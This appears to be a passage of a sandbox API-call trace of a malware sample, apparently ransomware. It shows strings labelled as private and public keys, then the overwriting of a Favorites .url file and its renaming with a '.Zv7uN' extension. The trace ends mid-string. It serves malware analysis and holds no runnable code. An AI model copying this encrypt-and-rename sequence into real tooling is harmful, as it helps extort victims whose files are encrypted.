XUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.980] GetCurrentThreadId () returned 0xa30 [0125.980] GetCurrentThreadId () returned 0xa30 [0125.980] GetCurrentThreadId () returned 0xa30 [0125.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.981] GetCurrentThreadId () returned 0xa30 [0125.981] GetCurrentThreadId () returned 0xa30 [0125.981] GetCurrentThreadId () returned 0xa30 [0125.982] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.982] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0125.982] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.982] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0125.982] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.982] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0125.984] CloseHandle (hObject=0x1e8) returned 1 [0125.985] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.987] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0125.989] CloseHandle (hObject=0x1e8) returned 1 [0125.989] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.zv7un")) returned 1 [0125.990] GetCurrentThreadId () returned 0xa30 [0125.990] GetCurrentThreadId () returned 0xa30 [0125.990] GetCurrentThreadId () returned 0xa30 [0125.990] GetCurrentThreadId () returned 0xa30 [0125.990] GetCurrentThreadId () returned 0xa30 [0125.990] GetCurrentThreadId () returned 0xa30 [0125.990] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0125.991] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.991] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.991] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url")) returned 0x20 [0125.991] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url", dwFileAttributes=0x80) returned 1 [0125.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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